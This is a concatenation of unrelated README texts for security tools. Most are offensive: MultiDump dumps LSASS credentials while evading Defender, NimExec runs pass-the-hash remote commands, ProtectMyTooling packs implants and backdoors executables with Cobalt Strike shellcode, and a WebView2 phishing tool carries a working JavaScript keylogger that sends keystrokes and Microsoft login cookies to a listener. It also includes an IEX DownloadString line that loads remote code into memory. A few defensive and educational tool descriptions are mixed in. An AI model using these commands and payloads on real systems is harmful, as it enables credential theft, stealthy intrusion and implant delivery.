MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe
or comsvc.dll
, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.

Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for RemoteProcDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed
, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll
method and saves the encrypted dump in the current directory.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump
is used, ProcDump.exe
will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip
option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r
.
An additional option to dump the SAM
, SECURITY
and SYSTEM
hives are available with --reg
, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Open in Visual Studio, build in Release mode.
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper
, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe
can be pasted into MultiDump.c
and Common.h
.
Self deletion can be toggled by uncommenting the following line in Common.h
:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h
:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.

PowerHuntShares is design to automatically inventory, analyze, and report excessive privilege assigned to SMB shares on Active Directory domain joined computers.
It is intented to help IAM and other blue teams gain a better understand of their SMB Share attack surface and provides data insights to help naturally group related share to help stream line remediation efforts at scale.
It supports functionality to:
Excessive SMB share ACLs are a systemic problem and an attack surface that all organizations struggle with. The goal of this project is to provide a proof concept that will work towards building a better share collection and data insight engine that can help inform and priorititize remediation efforts.
Bonus Features:
I've also put together a short presentation outlining some of the common misconfigurations and strategies for prioritizing remediation here: https://www.slideshare.net/nullbind/into-the-abyss-evaluating-active-directory-smb-shares-on-scale-secure360-251762721
PowerHuntShares will inventory SMB share ACLs configured with "excessive privileges" and highlight "high risk" ACLs. Below is how those are defined in this context.
Excessive Privileges
Excessive read and write share permissions have been defined as any network share ACL containing an explicit ACE (Access Control Entry) for the "Everyone", "Authenticated Users", "BUILTIN\Users", "Domain Users", or "Domain Computers" groups. All provide domain users access to the affected shares due to privilege inheritance issues. Note there is a parameter that allow operators to add their own target groups.
Below is some additional background:
Please Note: Share permissions can be overruled by NTFS permissions. Also, be aware that testing excluded share names containing the following keywords:
print$, prnproc$, printer, netlogon,and sysvol
High Risk Shares
In the context of this report, high risk shares have been defined as shares that provide unauthorized remote access to a system or application. By default, that includes the shares
wwwroot, inetpub, c$, and admin$
However, additional exposures may exist that are not called out beyond that. Below is a list of commands that can be used to load PowerHuntShares into your current PowerShell session. Please note that one of these will have to be run each time you run PowerShell is run. It is not persistent.
# Bypass execution policy restrictions
Set-ExecutionPolicy -Scope Process Bypass
# Import module that exists in the current directory
Import-Module .\PowerHuntShares.psm1
or
# Reduce SSL operating level to support connection to github
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12
# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")
Important Note: All commands should be run as an unprivileged domain user.
.EXAMPLE 1: Run from a domain computer. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test
.EXAMPLE 2: Run from a domain computer with alternative domain credentials. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test -Credentials domain\user
.EXAMPLE 3: Run from a domain computer as current user. Target hosts in a file. One per line.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test -HostList c:\temp\hosts.txt

FarsightAD
is a PowerShell script that aim to help uncovering (eventual) persistence mechanisms deployed by a threat actor following an Active Directory domain compromise.
The script produces CSV / JSON file exports of various objects and their attributes, enriched with timestamps from replication metadata. Additionally, if executed with replication privileges, the Directory Replication Service (DRS)
protocol is leveraged to detect fully or partially hidden objects.
For more information, refer to the SANS DFIR Summit 2022 introductory slides.

Export-ADHuntingHiddenObjectsWithDRSRepData | Export the objects' attributes that are accessible through replication (with the Directory Replication Service (DRS) protocol) but not by direct query. Access control are not taken into account for replication operations, which allows to identify access control blocking access to specific objects attribute(s). Only a limited set of sensitive attributes are assessed. |
Export-ADHuntingKerberosDelegations | Export the Kerberos delegations that are considered dangerous (unconstrained, constrained to a privileged service, or resources-based constrained on a privileged service). |
Export-ADHuntingPrincipalsAddedViaMachineAccountQuota | Export the computers that were added to the domain by non-privileged principals (using the ms-DS-MachineAccountQuota mechanism). |

Script that wraps around multitude of packers, protectors, obfuscators, shellcode loaders, encoders, generators to produce complex protected Red Team implants. Your perfect companion in Malware Development CI/CD pipeline, helping watermark your artifacts, collect IOCs, backdoor and more.
ProtectMyToolingGUI.py
With ProtectMyTooling
you can quickly obfuscate your binaries without having to worry about clicking through all the Dialogs, interfaces, menus, creating projects to obfuscate a single binary, clicking through all the options available and wasting time about all that nonsense. It takes you straight to the point - to obfuscate your tool.
Aim is to offer the most convenient interface possible and allow to leverage a daisy-chain of multiple packers combined on a single binary.
That's right - we can launch ProtectMyTooling
with several packers at once:
C:\> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe
The above example will firstly pass mimikatz.exe
to the Hyperion for obfuscation, and then the result will be provided to UPX for compression. Resulting with UPX(Hyperion(file))
callobf,hyperion,upx
will produce artifact UPX(Hyperion(CallObf(file)))
protected-upload
and protected-execute-assembly
commandsThis tool was designed to work on Windows, as most packers natively target that platform.
Some features may work however on Linux just fine, nonetheless that support is not fully tested, please report bugs and issues.

directory to exclusions. That directory contains obfuscators, protectors which will get flagged by AV and removed.PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

For ScareCrow
packer to run on Windows 10, there needs to be WSL
installed and bash.exe
available (in %PATH%
). Then, in WSL one needs to have golang
installed in version at least 1.16
:
cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y
To plug-in supported obfuscators, change default options or point ProtectMyTooling to your obfuscator executable path, you will need to adjust config\ProtectMyTooling.yaml
configuration file.
There is also config\sample-full-config.yaml
file containing all the available options for all the supported packers, serving as reference point.
Before ProtectMyTooling
's first use, it is essential to adjust program's YAML configuration file ProtectMyTooling.yaml
. The order of parameters processal is following:
There, supported packer paths and options shall be set to enable.
Usage is very simple, all it takes is to pass the name of obfuscator to choose, input and output file paths:

ProtectMyTooling
was designed to support not only Obfuscators/Packers but also all sort of builders/generators/shellcode loaders usable from the command line.
At the moment, program supports various Commercial and Open-Source packers/obfuscators. Those Open-Source ones are bundled within the project. Commercial ones will require user to purchase the product and configure its location in ProtectMyTooling.yaml
file to point the script where to find them.

Above are the packers that are supported, but that doesn't mean that you have them configured and ready to use. To prepare their usage, you must first supply necessary binaries to the contrib
directory and then configure your YAML file accordingly.
This program is intended for professional Red Teams and is perfect to be used in a typical implant-development CI/CD pipeline. As a red teamer I'm always expected to deliver decent quality list of IOCs matching back to all of my implants as well as I find it essential to watermark all my implants for bookkeeping, attribution and traceability purposes.
To accommodate these requirements, ProtectMyTooling brings basic support for them.
ProtectMyTooling
can apply watermarks after obfuscation rounds simply by using --watermark
option.:
py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG
There is also a standalone approach, included in RedWatermarker.py
script.
It takes executable artifact on input and accepts few parameters denoting where to inject a watermark and what value shall be inserted.
Example run will set PE Checksum to 0xAABBCCDD, inserts foooobar
to PE file's DOS Stub (bytes containing This program cannot be run...), appends bazbazbaz
to file's overlay and then create a new PE section named .coco
append it to the end of file and fill that section with preset marker.
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG
Full watermarker usage:

Mariusz Banach / mgeeky '22, (@mariuszbit)
<mb@binary-offensive.com>
usage: RedWatermarker.py [options] <infile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input implant file
Optional arguments:
-C, --check Do not actually inject watermark. Check input file if it contains specified watermarks.
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-o PATH, --outfile PATH
Path where to save output file with watermark injected. If not given, will modify infile.
PE Executables Watermarking:
-t STR, --dos-stub STR
Insert watermark into PE DOS Stub (Th is program cannot be run...).
-c NUM, --checksum NUM
Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value.
-e STR, --overlay STR
Append watermark to the file's Overlay (at the end of the file).
-s NAME,STR, --section NAME,STR
Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.
Currently only PE files watermarking is supported, but in the future Office documents and other formats are to be added as well.
IOCs may be collected by simply using -i
option in ProtectMyTooling
run.
They're being collected at the following phases:
They will contain following fields saved in form of a CSV file:
timestamp
filename
author
- formed as username@hostname
context
- whether a record points to an input, output or intermediary filecomment
- value adjusted by the user through -I value
optionmd5
sha1
sha256
imphash
- PE Imports Hash, if availabletyperef_hash
- .NET TypeRef Hash, if availableResulting will be a CSV file named outfile-ioc.csv
stored side by side to generated output artifact. That file is written in APPEND mode, meaning it will receive all subsequent IOCs.
ProtectMyTooling
utilizes my own RedBackdoorer.py
script which provides few methods for backdooring PE executables. Support comes as a dedicated packer named backdoor
. Example usage:
Takes Cobalt Strike shellcode on input and encodes with SGN (Shikata Ga-Nai) then backdoors SysInternals DbgView64.exe then produces Amber EXE reflective loader

Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<mb@binary-offensive.com>
usage: RedBackdoorer.py [options] <mode> <shellcode> <infile>
options:
-h, --help show this help message and exit
Required arguments:
mode PE Injection mode, see help epilog for more details.
shellcode Input shellcode file
infile PE file to backdoor
Optional arguments:
-o PATH, --outfil e PATH
Path where to save output file with watermark injected. If not given, will modify infile.
-v, --verbose Verbose mode.
Backdooring options:
-n NAME, --section-name NAME
If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw
-i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.
Authenticode signature options:
-r, --remove-signature
Remove PE Authenticode digital signature since its going to be invalidated anyway.
------------------
PE Backdooring <mode> consists of two comma-separated options.
First one denotes where to store shellcode, second how to run it:
<mode>
save,run
| |
| +---------- 1 - change AddressOfEntryPoint
| 2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
| 3 - setup TLS callback
|
+-------------- 1 - store shellcode in the middle of a code section
2 - append shellcode to the PE file in a new PE section
Example:
py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
There is also a script that integrates ProtectMyTooling.py
used as a wrapper around configured PE/.NET Packers/Protectors in order to easily transform input executables into their protected and compressed output forms and then upload or use them from within CobaltStrike.
The idea is to have an automated process of protecting all of the uploaded binaries or .NET assemblies used by execute-assembly and forget about protecting or obfuscating them manually before each usage. The added benefit of an automated approach to transform executables is the ability to have the same executable protected each time it's used, resulting in unique samples launched on target machines. That should nicely deceive EDR/AV enterprise-wide IOC sweeps while looking for the same artefact on different machines.
Additionally, the protected-execute-assembly command has the ability to look for assemblies of which only name were given in a preconfigured assemblies directory (set in dotnet_assemblies_directory setting).
To use it:
CobaltStrike/ProtectMyTooling.cna
in your Cobalt Strike.protected-execute-assembly
- Executes a local, previously protected and compressed .NET program in-memory on target.protected-upload
- Takes an input file, protects it if its PE executable and then uploads that file to specified remote location.Basically these commands will open input files, pass the firstly to the CobaltStrike/cobaltProtectMyTooling.py
script, which in turn calls out to ProtectMyTooling.py
. As soon as the binary gets obfuscated, it will be passed to your beacon for execution/uploading.
Here's a list of options required by the Cobalt Strike integrator:
python3_interpreter_path
- Specify a path to Python3 interpreter executableprotect_my_tooling_dir
- Specify a path to ProtectMyTooling main directoryprotect_my_tooling_config
- Specify a path to ProtectMyTooling configuration file with various packers optionsdotnet_assemblies_directory
- Specify local path .NET assemblies should be looked for if not found by execute-assemblycache_protected_executables
- Enable to cache already protected executables and reuse them when neededprotected_executables_cache_dir
- Specify a path to a directory that should store cached protected executablesdefault_exe_x86_packers_chain

penguinTrace is intended to help build an understanding of how programs run at the hardware level. It provides a way to see what instructions compile to, and then step through those instructions and see how they affect machine state as well as how this maps back to variables in the original program. A bit more background is available on the website.
penguinTrace starts a web-server which provides a web interface to edit and run code. Code can be developed in C, C++ or Assembly. The resulting assembly is then displayed and can then be stepped through, with the values of hardware registers and variables in the current scope shown.
penguinTrace runs on Linux and supports the AMD64/X86-64 and AArch64 architectures. penguinTrace can run on other operating systems using Docker, a virtual machine or through the Windows Subsystem for Linux (WSL).
The primary goal of penguinTrace is to allow exploring how programs execute on a processor, however the development provided an opportunity to explore how debuggers work and some lower-level details of interaction with the kernel.
Note: penguinTrace allows running arbitrary code as part of its design. By default it will only listen for connections from the local machine. It should only be configured to listen for remote connections on a trusted network and not exposed to the interface. This can be mitigated by running penguinTrace in a container, and a limited degree of isolation of stepped code can be provided when
libcap
is available.
penguinTrace requires 64-bit Linux running on a X86-64 or AArch64 processor. It can also run on a Raspberry Pi running a 64-bit (AArch64) Linux distribution. For other operating systems, it can be run on Windows 10 using the Windows Subsystem for Linux (WSL) or in a Docker container. WSL does not support tracee process isolation.
python
clang
llvm
llvm-dev
libclang-dev
libcap-dev # For containment
To build penguinTrace outside of a container, clone the repository and run make
. The binaries will be placed in build/bin
by default.
To build penguinTrace in Docker, run docker build -t penguintrace github.com/penguintrace/penguintrace
.
Once penguinTrace is built, running the penguintrace
binary will start the server.
If built in a container it can then be run with docker run -it -p 127.0.0.1:8080:8080 --tmpfs /tmp:exec --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --rm --security-opt apparmor=unconfined penguintrace penguintrace
. See Containers for details on better isolating the container.
Then navigate to 127.0.0.1:8080 or localhost:8080 to access the web interface.
Note: In order to run on port 80, you can modify the
docker run
command to map from port 8080 to port 80, e.g.-p 127.0.0.1:80:8080
.If built locally, you can modify the binary to allow it to bind to port 80 with
sudo setcap CAP_NET_BIND_SERVICE=+ep penguintrace
. It can then be run withpenguintrace -c SERVER_PORT 80
penguinTrace defaults to port 8080 as it is intended to be run as an unprivileged user.
The penguinTrace server uses the system temporary directory as a location for compiled binaries and environments for running traced processes. If the PENGUINTRACE_TMPDIR
environment variable is defined, this directory will be used. It will fall back to the TMPDIR
environment variable and finally the directories specified in the C library.
This must correspond to a directory without noexec
set, if running in a container it is likely the filesystem will have this set by default.
By default penguinTrace only listens on the loopback device and IPv4. If the server is configured to listen on all addresses, then also setting the server to IPv6 will allow connections on both IPv4 and IPv6, this is the default mode when running in a Docker container.
This is because penguinTrace only creates a single thread to listen to connections and so can currently only bind to a single address or all addresses.
By default penguinTrace runs in multiple session mode, each time code is compiled a new session is created. The URL fragment (after the '#') of the UI is updated with the session id, and this URL can be used to reconnect to the same session.
If running in single session mode each penguinTrace instance only supports a single debugging instance. The web UI will automatically reconnect to a previous session. To support multiple sessions, multiple instances should be launched which are listening on different ports.
The docker_build.sh
and docker_run.sh
scripts provide an example of how to run penguinTrace in a Docker container. Dockerfile_noisolate
provides an alterative way of running that does not require the SYS_ADMIN
capability but provides less isolation between the server and the traced processes. The SYS_PTRACE
capability is always required for the server to trace processes. misc/apparmor-profile
provides an example AppArmor profile that is suitable for running penguinTrace but may need some customisation for the location of temporary directories and compilers.
penguinTrace will only run under a 64-bit operating system. The official operating systems provided for the Raspberry Pi are all 32-bit, to run penguinTrace something such as pi64 or Arch Linux Arm is required.
Full instructions for setting up a 64-bit OS on Raspberry Pi TBD.
penguinTrace is developed by Alex Beharrell.
This project is licensed under the GNU AGPL. A non-permissive open source license is chosen as the intention of this project is educational, and so any derivative works should have the source available so that people can learn from it.
The bundling of the source code relies on the structure of the repository. Derivative works that are not forked from a penguinTrace repository will need to modify the Makefile rules for static/source.tar.gz
to ensure the modified source is correctly distributed.
penguinTrace makes use of jQuery and CodeMirror for some aspects of the web interface. Both are licensed under the MIT License. It also uses the Major Mono font which is licensed under the Open Font License.
Dumpscan is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by volatility3.
Note: Testing has only been performed on Windows 10 and 11 64-bit hosts and processes. Feel free to file an issue for additional versions. Linux testing TBD.
As a command-line tool, installation is recommended using pipx. This allows for easy updates and well and ensuring it is installed in its own virtual environment.

This code is a modified version of Microsoft's WebView2 Code. The current code can be cleaned up and made much better.
Tested on Windows 10 & 11.
When the binary is executed https://office.com/login
is loaded up. A JavaScript keylogger is injected into every page and keystrokes are sent to http://127.0.0.1:8080
. Furthermore, upon the user successfully authenticating the cookies for login.microsoftonline.com
are base64-encoded and sent to http://127.0.0.1:8080
via an HTTP GET request.
If you'd like to modify the JavaScript the code that needs to be changed is shown below at line 1096
in AppWindow.cpp
.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 allows you to launch with an existing User Data Folder (UDF) rather than creating a new one. The UDF contains all passwords, sessions, bookmarks etc. Chrome's UDF is located at C:\Users\<username>\AppData\Local\Google\Chrome\User Data
. We can simply tell WebView2 to start the instance using this profile and upon launch extract all cookies and transfer them to the attacker's server.
The only catch is that WebView2 looks for a folder called EBWebView
instead of User Data
(not sure why). Copy the User Data
folder and rename it to EBWebView
.
At line 41
in app.cpp
:
std::wstring userDataFolder(L"");
to std::wstring userDataFolder(L"C:\\Path\\To\\Temp");
EBWebView
folder which WebView2 will read from.At line 40
in ScenarioCookieManagement.cpp
:
GetCookiesHelper(L"https://login.microsoftonline.com");
to GetCookiesHelper(L"");
When GetCookiesHelper is invoked without any website being provided it will extract all cookies.
Note: This will not work with the current application if there is a large quantity of cookies because the application sends them using a GET Request which has a length limit.
If you'd like to make modifications to the binary you'll find information about the important functions below.
GetUri()
function has the URL that is loaded upon binary execution.SendCookies()
function contains the IP address and port where the cookies are sent.CallCookieFunction()
function waits until the URL starts with https://www.office.com/?auth=
and calls ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
